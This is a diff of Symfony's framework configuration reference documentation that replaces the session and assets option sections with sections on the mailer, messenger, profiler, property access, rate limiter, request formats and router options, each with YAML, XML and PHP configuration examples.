+                </framework:lock>
+            </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/services.php
-        $container->setParameter('session.storage.options', [
-            'cache_limiter' => 0,
-        ]);
+        // config/packages/lock.php
+        use Symfony\Config\FrameworkConfig;
 
-Be aware that if you configure it, you'll have to set other session-related options
-as parameters as well.
+        return static function (FrameworkConfig $framework): void {
+            $framework->lock()
+                ->resource('default', [env('LOCK_DSN')]);
+        };
 
-cookie_domain
-.............
+.. seealso::
 
-**type**: ``string``
+    For more details, see :doc:`/lock`.
 
-This determines the domain to set in the session cookie.
+.. _reference-lock-resources-name:
 
-If not set, ``php.ini``'s `session.cookie_domain`_ directive will be relied on.
+name
+""""
 
-cookie_samesite
-...............
+**type**: ``prototype``
 
-**type**: ``string`` or ``null`` **default**: ``null``
+Name of the lock you want to create.
 
-It controls the way cookies are sent when the HTTP request did not originate
-from the same domain that is associated with the cookies. Setting this option is
-recommended to mitigate `CSRF security attacks`_.
+mailer
+~~~~~~
 
-By default, browsers send all cookies related to the domain of the HTTP request.
-This may be a problem for example when you visit a forum and some malicious
-comment includes a link like ``https://some-bank.com/?send_money_to=attacker&amount=1000``.
-If you were previously logged into your bank website, the browser will send all
-those cookies when making that HTTP request.
+.. _mailer-dsn:
 
-The possible values for this option are:
+dsn
+...
 
-* ``null``, use ``php.ini``'s `session.cookie_samesite`_ directive.
-* ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow
-  sending of cookies when the HTTP request originated from a different domain
-  (previously this was the default behavior of null, but in newer browsers ``'lax'``
-  would be applied when the header has not been set)
-* ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never
-  send any cookie when the HTTP request did not originate from the same domain.
-* ``'lax'`` (or the ``Cookie::SAMESITE_LAX`` constant), use it to allow sending
-  cookies when the request originated from a different domain, but only when the
-  user consciously made the request (by clicking a link or submitting a form
-  with the ``GET`` method).
+**type**: ``string`` **default**: ``null``
 
-cookie_secure
-.............
+The DSN used by the mailer. When several DSN may be used, use
+``transports`` option (see below) instead.
 
-**type**: ``boolean`` or ``'auto'``
+envelope
+........
 
-This determines whether cookies should only be sent over secure connections. In
-addition to ``true`` and ``false``, there's a special ``'auto'`` value that
-means ``true`` for HTTPS requests and ``false`` for HTTP requests.
+recipients
+""""""""""
 
-If not set, ``php.ini``'s `session.cookie_secure`_ directive will be relied on.
+**type**: ``array``
 
-cookie_httponly
-...............
+The "envelope recipient" which is used as the value of ``RCPT TO`` during the
+the `SMTP session`_. This value overrides any other recipient set in the code.
 
-**type**: ``boolean`` **default**: ``true``
+.. configuration-block::
 
-This determines whether cookies should only be accessible through the HTTP
-protocol. This means that the cookie won't be accessible by scripting
-languages, such as JavaScript. This setting can effectively help to reduce
-identity theft through :ref:`XSS attacks <xss-attacks>`.
+    .. code-block:: yaml
 
-gc_divisor
-..........
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: 'smtp://localhost:25'
+                envelope:
+                    recipients: ['admin@symfony.com', 'lead@symfony.com']
 
-**type**: ``integer``
+    .. code-block:: xml
 
-See `gc_probability`_.
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:mailer dsn="smtp://localhost:25">
+                    <framework:envelope>
+                        <framework:recipient>admin@symfony.com</framework:recipient>
+                        <framework:recipient>lead@symfony.com</framework:recipient>
+                    </framework:envelope>
+                </framework:mailer>
+            </framework:config>
+        </container>
 
-If not set, ``php.ini``'s `session.gc_divisor`_ directive will be relied on.
+    .. code-block:: php
 
-gc_probability
-..............
+        // config/packages/mailer.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-**type**: ``integer``
+        return static function (ContainerConfigurator $container): void {
+            $container->extension('framework', [
+                'mailer' => [
+                    'dsn' => 'smtp://localhost:25',
+                    'envelope' => [
+                        'recipients' => [
+                            'admin@symfony.com',
+                            'lead@symfony.com',
+                        ],
+                    ],
+                ],
+            ]);
+        };
 
-This defines the probability that the garbage collector (GC) process is
-started on every session initialization. The probability is calculated by
-using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1%
-chance that the GC process will start on each request.
+sender
+""""""
 
-If not set, Symfony will use the value of the `session.gc_probability`_ directive
-in the ``php.ini`` configuration file.
+**type**: ``string``
 
-.. versionadded:: 7.2
+The "envelope sender" which is used as the value of ``MAIL FROM`` during the
+`SMTP session`_. This value overrides any other sender set in the code.
 
-    Relying on ``php.ini``'s directive as default for ``gc_probability`` was
-    introduced in Symfony 7.2.
+.. _mailer-headers:
 
-gc_maxlifetime
-..............
+headers
+.......
 
-**type**: ``integer``
+**type**: ``array``
 
-This determines the number of seconds after which data will be seen as "garbage"
-and potentially cleaned up. Garbage collection may occur during session
-start and depends on `gc_divisor`_ and `gc_probability`_.
+Headers to add to emails. The key (``name`` attribute in xml format) is the
+header name and value the header value.
 
-If not set, ``php.ini``'s `session.gc_maxlifetime`_ directive will be relied on.
+.. seealso::
 
-sid_length
-..........
+    For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>`
 
-**type**: ``integer``
+message_bus
+...........
 
-This determines the length of session ID string, which can be an integer between
-``22`` and ``256`` (both inclusive), ``32`` being the recommended value. Longer
-session IDs are harder to guess.
+**type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed
 
-If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on.
+Service identifier of the message bus to use when using the
+:doc:`Messenger component </messenger>` (e.g. ``messenger.default_bus``).
 
-.. deprecated:: 7.2
+transports
+..........
 
-    The ``sid_length`` option was deprecated in Symfony 7.2. No alternative is
-    provided as PHP 8.4 has deprecated the related option.
+**type**: ``array``
 
-sid_bits_per_character
-......................
+A :ref:`list of DSN <multiple-email-transports>` that can be used by the
+mailer. A transport name is the key and the dsn is the value.
 
-**type**: ``integer``
+messenger
+~~~~~~~~~
 
-This determines the number of bits in the encoded session ID character. The possible
-values are ``4`` (0-9, a-f), ``5`` (0-9, a-v), and ``6`` (0-9, a-z, A-Z, "-", ",").
-The more bits results in stronger session ID. ``5`` is recommended value for
-most environments.
+enabled
+.......
 
-If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be relied on.
+**type**: ``boolean`` **default**: ``true``
 
-.. deprecated:: 7.2
+Whether to enable or not Messenger.
 
-    The ``sid_bits_per_character`` option was deprecated in Symfony 7.2. No alternative
-    is provided as PHP 8.4 has deprecated the related option.
+.. seealso::
 
-save_path
-.........
+    For more details, see the :doc:`Messenger component </messenger>`
+    documentation.
 
-**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/sessions``
+php_errors
+~~~~~~~~~~
 
-This determines the argument to be passed to the save handler. If you choose
-the default file handler, this is the path where the session files are created.
+log
+...
 
-If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on:
+**type**: ``boolean`` | ``int`` | ``array<int, string>`` **default**: ``true``
+
+Use the application logger instead of the PHP logger for logging PHP errors.
+When an integer value is used, it defines a bitmask of PHP errors that will
+be logged. Those integer values must be the same used in the
+`error_reporting PHP option`_. The default log levels will be used for each
+PHP error.
+When a boolean value is used, ``true`` enables logging for all PHP errors
+while ``false`` disables logging entirely.
+
+This option also accepts a map of PHP errors to log levels:
 
 .. configuration-block::
 
@@ -1925,8 +2250,23 @@ If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on:
 
         # config/packages/framework.yaml
         framework:
-            session:
-                save_path: ~
+            php_errors:
+                log:
+                    !php/const \E_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_NOTICE: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_NOTICE: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_STRICT: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_COMPILE_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_CORE_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_RECOVERABLE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_COMPILE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_PARSE: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_CORE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
 
     .. code-block:: xml
 
@@ -1940,282 +2280,225 @@ If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:session save-path="null"/>
+                <!-- in XML configuration you cannot use PHP constants as the value of
+                     the 'type' attribute, which makes this format way less readable.
+                     Consider using YAML or PHP for this configuration -->
+                <framework:log type="8" logLevel="error"/>
+                <framework:log type="2" logLevel="error"/>
+                <!-- ... -->
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->session()
-                ->savePath(null);
+            $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR);
+            $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR);
+            // ...
         };
 
-.. _reference-session-metadata-update-threshold:
-
-metadata_update_threshold
-.........................
+throw
+.....
 
-**type**: ``integer`` **default**: ``0``
+**type**: ``boolean`` **default**: ``%kernel.debug%``
 
-This is how many seconds to wait between updating/writing the session metadata.
-This can be useful if, for some reason, you want to limit the frequency at which
-the session persists, instead of doing that on every request.
+Throw PHP errors as ``\ErrorException`` instances. The parameter
+``debug.error_handler.throw_at`` controls the threshold.
 
-.. _reference-session-enabled:
+profiler
+~~~~~~~~
 
-enabled
+collect
 .......
 
 **type**: ``boolean`` **default**: ``true``
 
-Whether to enable the session support in the framework.
+This option configures the way the profiler behaves when it is enabled. If set
+to ``true``, the profiler collects data for all requests. If you want to only
+collect information on-demand, you can set the ``collect`` flag to ``false`` and
+activate the data collectors manually::
 
-.. configuration-block::
+    $profiler->enable();
 
-    .. code-block:: yaml
+collect_parameter
+.................
 
-        # config/packages/framework.yaml
-        framework:
-            session:
-                enabled: true
+**type**: ``string`` **default**: ``null``
 
-    .. code-block:: xml
+This specifies name of a query parameter, a body parameter or a request attribute
+used to enable or disable collection of data by the profiler for each request.
+Combine it with the ``collect`` option to enable/disable the profiler on demand:
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+* If the ``collect`` option is set to ``true`` but this parameter exists in a
+  request and has any value other than ``true``, ``yes``, ``on`` or ``1``, the
+  request data will not be collected;
+* If the ``collect`` option is set to ``false``, but this parameter exists in a
+  request and has value of ``true``, ``yes``, ``on`` or ``1``, the request data
+  will be collected.
 
-            <framework:config>
-                <framework:session enabled="true"/>
-            </framework:config>
-        </container>
+.. _collect_serializer_data:
 
-    .. code-block:: php
+collect_serializer_data
+.......................
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+**type**: ``boolean`` **default**: ``false``
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->session()
-                ->enabled(true);
-        };
+Set this option to ``true`` to enable the serializer data collector and its
+profiler panel. When this option is ``true``, all normalizers and encoders are
+decorated by traceable implementations that collect profiling information about them.
 
-use_cookies
-...........
+.. _profiler-dsn:
 
-**type**: ``boolean``
+dsn
+...
 
-This specifies if the session ID is stored on the client side using cookies or
-not.
+**type**: ``string`` **default**: ``file:%kernel.cache_dir%/profiler``
 
-If not set, ``php.ini``'s `session.use_cookies`_ directive will be relied on.
+The DSN where to store the profiling information.
 
-ssi
-~~~
+.. _reference-profiler-enabled:
 
 enabled
 .......
 
 **type**: ``boolean`` **default**: ``false``
 
-Whether to enable or not SSI support in your application.
-
-assets
-~~~~~~
-
-.. _reference-assets-base-path:
+The profiler can be enabled by setting this option to ``true``. When you
+install it using Symfony Flex, the profiler is enabled in the ``dev``
+and ``test`` environments.
 
-base_path
-.........
+.. note::
 
-**type**: ``string``
+    The profiler works independently from the Web Developer Toolbar, see
+    the :doc:`WebProfilerBundle configuration </reference/configuration/web_profiler>`
+    on how to disable/enable the toolbar.
 
-This option allows you to define a base path to be used for assets:
+only_exceptions
+...............
 
-.. configuration-block::
+**type**: ``boolean`` **default**: ``false``
 
-    .. code-block:: yaml
+When this is set to ``true``, the profiler will only be enabled when an
+exception is thrown during the handling of the request.
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            assets:
-                base_path: '/images'
+.. _only_master_requests:
 
-    .. code-block:: xml
+only_main_requests
+..................
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+**type**: ``boolean`` **default**: ``false``
 
-            <framework:config>
-                <framework:assets base-path="/images"/>
-            </framework:config>
-        </container>
+When this is set to ``true``, the profiler will only be enabled on the main
+requests (and not on the subrequests).
 
-    .. code-block:: php
+property_access
+~~~~~~~~~~~~~~~
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+magic_call
+..........
 
-        return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                ->basePath('/images');
-        };
+**type**: ``boolean`` **default**: ``false``
 
-.. _reference-templating-base-urls:
-.. _reference-assets-base-urls:
+When enabled, the ``property_accessor`` service uses PHP's
+:ref:`magic __call() method <components-property-access-magic-call>` when
+its ``getValue()`` method is called.
 
-base_urls
+magic_get
 .........
 
-**type**: ``array``
-
-This option allows you to define base URLs to be used for assets.
-If multiple base URLs are provided, Symfony will select one from the
-collection each time it generates an asset's path:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            assets:
-                base_urls:
-                    - 'http://cdn.example.com/'
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:assets base-url="http://cdn.example.com/"/>
-            </framework:config>
-        </container>
+**type**: ``boolean`` **default**: ``true``
 
-    .. code-block:: php
+When enabled, the ``property_accessor`` service uses PHP's
+:ref:`magic __get() method <components-property-access-magic-get>` when
+its ``getValue()`` method is called.
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+magic_set
+.........
 
-        return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                ->baseUrls(['http://cdn.example.com/']);
-        };
+**type**: ``boolean`` **default**: ``true``
 
-.. _reference-framework-assets-packages:
+When enabled, the ``property_accessor`` service uses PHP's
+:ref:`magic __set() method <components-property-access-writing-to-objects>` when
+its ``setValue()`` method is called.
 
-packages
-........
+throw_exception_on_invalid_index
+................................
 
-You can group assets into packages, to specify different base URLs for them:
+**type**: ``boolean`` **default**: ``false``
 
-.. configuration-block::
+When enabled, the ``property_accessor`` service throws an exception when you
+try to access an invalid index of an array.
 
-    .. code-block:: yaml
+throw_exception_on_invalid_property_path
+........................................
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            assets:
-                packages:
-                    avatars:
-                        base_urls: 'http://static_cdn.example.com/avatars'
+**type**: ``boolean`` **default**: ``true``
 
-    .. code-block:: xml
+When enabled, the ``property_accessor`` service throws an exception when you
+try to access an invalid property path of an object.
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+property_info
+~~~~~~~~~~~~~
 
-            <framework:config>
-                <framework:assets>
-                    <framework:package
-                        name="avatars"
-                        base-url="http://static_cdn.example.com/avatars"/>
-                </framework:assets>
-            </framework:config>
-        </container>
+.. _reference-property-info-enabled:
 
-    .. code-block:: php
+enabled
+.......
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-        return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                ->package('avatars')
-                    ->baseUrls(['http://static_cdn.example.com/avatars']);
-        };
+rate_limiter
+~~~~~~~~~~~~
 
-Now you can use the ``avatars`` package in your templates:
+.. _reference-rate-limiter-name:
 
-.. code-block:: html+twig
+name
+....
 
-    <img src="{{ asset('...', 'avatars') }}">
+**type**: ``prototype``
 
-Each package can configure the following options:
+Name of the rate limiter you want to create.
 
-* :ref:`base_path <reference-assets-base-path>`
-* :ref:`base_urls <reference-assets-base-urls>`
-* :ref:`version_strategy <reference-assets-version-strategy>`
-* :ref:`version <reference-framework-assets-version>`
-* :ref:`version_format <reference-assets-version-format>`
-* :ref:`json_manifest_path <reference-assets-json-manifest-path>`
-* :ref:`strict_mode <reference-assets-strict-mode>`
+lock_factory
+""""""""""""
 
-.. _reference-framework-assets-version:
-.. _ref-framework-assets-version:
+**type**: ``string`` **default:** ``lock.factory``
 
-version
-.......
+The service that is used to create a lock. The service has to be an instance of
+the :class:`Symfony\\Component\\Lock\\LockFactory` class.
 
-**type**: ``string``
+policy
+""""""
 
-This option is used to *bust* the cache on assets by globally adding a query
-parameter to all rendered asset paths (e.g. ``/images/logo.png?v2``). This
-applies only to assets rendered via the Twig ``asset()`` function (or PHP
-equivalent).
+**type**: ``string`` **required**
 
-For example, suppose you have the following:
+The name of the rate limiting algorithm to use. Example names are ``fixed_window``,
+``sliding_window`` and ``no_limit``. See :ref:`Rate Limiter Policies <rate-limiter-policies>`)
+for more information.
 
-.. code-block:: html+twig
+request
+~~~~~~~
 
-    <img src="{{ asset('images/logo.png') }}" alt="Symfony!"/>
+formats
+.......
 
-By default, this will render a path to your image such as ``/images/logo.png``.
-Now, activate the ``version`` option:
+**type**: ``array`` **default**: ``[]``
+
+This setting is used to associate additional request formats (e.g. ``html``)
+to one or more mime types (e.g. ``text/html``), which will allow you to use the
+format & mime types to call
+:method:`Request::getFormat($mimeType) <Symfony\\Component\\HttpFoundation\\Request::getFormat>` or
+:method:`Request::getMimeType($format) <Symfony\\Component\\HttpFoundation\\Request::getMimeType>`.
+
+In practice, this is important because Symfony uses it to automatically set the
+``Content-Type`` header on the ``Response`` (if you don't explicitly set one).
+If you pass an array of mime types, the first will be used for the header.
+
+To configure a ``jsonp`` format:
 
 .. configuration-block::
 
@@ -2223,23 +2506,29 @@ Now, activate the ``version`` option:
 
         # config/packages/framework.yaml
         framework:
-            # ...
-            assets:
-                version: 'v2'
+            request:
+                formats:
+                    jsonp: 'application/javascript'
 
     .. code-block:: xml
 
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
+
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:assets version="v2"/>
+                <framework:request>
+                    <framework:format name="jsonp">
+                        <framework:mime-type>application/javascript</framework:mime-type>
+                    </framework:format>
+                </framework:request>
             </framework:config>
         </container>
 
@@ -2249,583 +2538,464 @@ Now, activate the ``version`` option:
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                ->version('v2');
+            $framework->request()
+                ->format('jsonp', 'application/javascript');
         };
 
-Now, the same asset will be rendered as ``/images/logo.png?v2`` If you use
-this feature, you **must** manually increment the ``version`` value
-before each deployment so that the query parameters change.
-
-You can also control how the query string works via the `version_format`_
-option.
-
-.. note::
-
-    This parameter cannot be set at the same time as ``version_strategy`` or ``json_manifest_path``.
-
-.. tip::
-
-    As with all settings, you can use a parameter as value for the
-    ``version``. This makes it easier to increment the cache on each
-    deployment.
-
-.. _reference-templating-version-format:
-.. _reference-assets-version-format:
-
-version_format
-..............
-
-**type**: ``string`` **default**: ``%%s?%%s``
-
-This specifies a :phpfunction:`sprintf` pattern that will be used with the
-`version`_ option to construct an asset's path. By default, the pattern
-adds the asset's version as a query string. For example, if
-``version_format`` is set to ``%%s?version=%%s`` and ``version``
-is set to ``5``, the asset's path would be ``/images/logo.png?version=5``.
-
-.. note::
-
-    All percentage signs (``%``) in the format string must be doubled to
-    escape the character. Without escaping, values might inadvertently be
-    interpreted as :ref:`service-container-parameters`.
+router
+~~~~~~
 
-.. tip::
+cache_dir
+.........
 
-    Some CDN's do not support cache-busting via query strings, so injecting
-    the version into the actual file path is necessary. Thankfully,
-    ``version_format`` is not limited to producing versioned query
-    strings.
+**type**: ``string`` **default**: ``%kernel.cache_dir%``
 
-    The pattern receives the asset's original path and version as its first
-    and second parameters, respectively. Since the asset's path is one
-    parameter, you cannot modify it in-place (e.g. ``/images/logo-v5.png``);
-    however, you can prefix the asset's path using a pattern of
-    ``version-%%2$s/%%1$s``, which would result in the path
-    ``version-5/images/logo.png``.
+The directory where routing information will be cached. Can be set to
+``~`` (``null``) to disable route caching.
 
-    URL rewrite rules could then be used to disregard the version prefix
-    before serving the asset. Alternatively, you could copy assets to the
-    appropriate version path as part of your deployment process and forgot
-    any URL rewriting. The latter option is useful if you would like older
-    asset versions to remain accessible at their original URL.
+.. deprecated:: 7.1
 
-.. _reference-assets-version-strategy:
-.. _reference-templating-version-strategy:
+    Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes
+    are now always cached in the ``%kernel.build_dir%`` directory.
 
-version_strategy
-................
+default_uri
+...........
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string``
 
-The service id of the :doc:`asset version strategy </frontend/custom_version_strategy>`
-applied to the assets. This option can be set globally for all assets and
-individually for each asset package:
+The default URI used to generate URLs in a non-HTTP context (see
+:ref:`Generating URLs in Commands <router-generate-urls-commands>`).
 
-.. configuration-block::
+http_port
+.........
 
-    .. code-block:: yaml
+**type**: ``integer`` **default**: ``80``
 
-        # config/packages/framework.yaml
-        framework:
-            assets:
-                # this strategy is applied to every asset (including packages)
-                version_strategy: 'app.asset.my_versioning_strategy'
-                packages:
-                    foo_package:
-                        # this package removes any versioning (its assets won't be versioned)
-                        version: ~
-                    bar_package:
-                        # this package uses its own strategy (the default strategy is ignored)
-                        version_strategy: 'app.asset.another_version_strategy'
-                    baz_package:
-                        # this package inherits the default strategy
-                        base_path: '/images'
+The port for normal http requests (this is used when matching the scheme).
 
-    .. code-block:: xml
+https_port
+..........
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+**type**: ``integer`` **default**: ``443``
 
-            <framework:config>
-                <framework:assets version-strategy="app.asset.my_versioning_strategy">
-                    <!-- this package removes any versioning (its assets won't be versioned) -->
-                    <framework:package
-                        name="foo_package"
-                        version="null"/>
-                    <!-- this package uses its own strategy (the default strategy is ignored) -->
-                    <framework:package
-                        name="bar_package"
-                        version-strategy="app.asset.another_version_strategy"/>
-                    <!-- this package inherits the default strategy -->
-                    <framework:package
-                        name="baz_package"
-                        base_path="/images"/>
-                </framework:assets>
-            </framework:config>
-        </container>
+The port for https requests (this is used when matching the scheme).
 
-    .. code-block:: php
+resource
+........
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+**type**: ``string`` **required**
 
-        return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                ->versionStrategy('app.asset.my_versioning_strategy');
+The path the main routing resource (e.g. a YAML file) that contains the
+routes and imports the router should load.
 
-            $framework->assets()->package('foo_package')
-                // this package removes any versioning (its assets won't be versioned)
-                ->version(null);
+strict_requirements
+...................
 
-            $framework->assets()->package('bar_package')
-                // this package uses its own strategy (the default strategy is ignored)
-                ->versionStrategy('app.asset.another_version_strategy');
+**type**: ``mixed`` **default**: ``true``
 
-            $framework->assets()->package('baz_package')
-                // this package inherits the default strategy
-                ->basePath('/images');
-        };
+Determines the routing generator behavior. When generating a route that
+has specific :ref:`parameter requirements <routing-requirements>`, the generator
+can behave differently in case the used parameters do not meet these requirements.
 
-.. note::
+The value can be one of:
 
-    This parameter cannot be set at the same time as ``version`` or ``json_manifest_path``.
+``true``
+    Throw an exception when the requirements are not met;
+``false``
+    Disable exceptions when the requirements are not met and return ``''``
+    instead;
+``null``
+    Disable checking the requirements (thus, match the route even when the
+    requirements don't match).
 
-.. _reference-assets-json-manifest-path:
-.. _reference-templating-json-manifest-path:
+``true`` is recommended in the development environment, while ``false``
+or ``null`` might be preferred in production.
 
-json_manifest_path
-..................
+.. _reference-router-type:
 
-**type**: ``string`` **default**: ``null``
+type
+....
 
-The file path or absolute URL to a ``manifest.json`` file containing an
-associative array of asset names and their respective compiled names. A common
-cache-busting technique using a "manifest" file works by writing out assets with
-a "hash" appended to their file names (e.g. ``main.ae433f1cb.css``) during a
-front-end compilation routine.
+**type**: ``string``
 
-.. tip::
+The type of the resource to hint the loaders about the format. This isn't
+needed when you use the default routers with the expected file extensions
+(``.xml``, ``.yaml``, ``.php``).
 
-    Symfony's :ref:`Webpack Encore <frontend-webpack-encore>` supports
-    :ref:`outputting hashed assets <encore-long-term-caching>`. Moreover, this
-    can be incorporated into many other workflows, including Webpack and
-    Gulp using `webpack-manifest-plugin`_ and `gulp-rev`_, respectively.
+utf8
+....
 
-This option can be set globally for all assets and individually for each asset
-package:
+**type**: ``boolean`` **default**: ``true``
 
-.. configuration-block::
+When this option is set to ``true``, the regular expressions used in the
+:ref:`requirements of route parameters <routing-requirements>` will be run
+using the `utf-8 modifier`_. This will for example match any UTF-8 character
+when using ``.``, instead of matching only a single byte.
 
-    .. code-block:: yaml
+If the charset of your application is UTF-8 (as defined in the
+:ref:`getCharset() method <configuration-kernel-charset>` of your kernel) it's
+recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404
+errors.
 
-        # config/packages/framework.yaml
-        framework:
-            assets:
-                # this manifest is applied to every asset (including packages)
-                json_manifest_path: "%kernel.project_dir%/public/build/manifest.json"
-                # you can use absolute URLs too and Symfony will download them automatically
-                # json_manifest_path: 'https://cdn.example.com/manifest.json'
-                packages:
-                    foo_package:
-                        # this package uses its own manifest (the default file is ignored)
-                        json_manifest_path: "%kernel.project_dir%/public/build/a_different_manifest.json"
-                        # Throws an exception when an asset is not found in the manifest
-                        strict_mode: %kernel.debug%
-                    bar_package:
-                        # this package uses the global manifest (the default file is used)
-                        base_path: '/images'
+.. _configuration-framework-secret:
 
-    .. code-block:: xml
+secret
+~~~~~~
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+**type**: ``string`` **required**
 
-            <framework:config>
-                <!-- this manifest is applied to every asset (including packages) -->
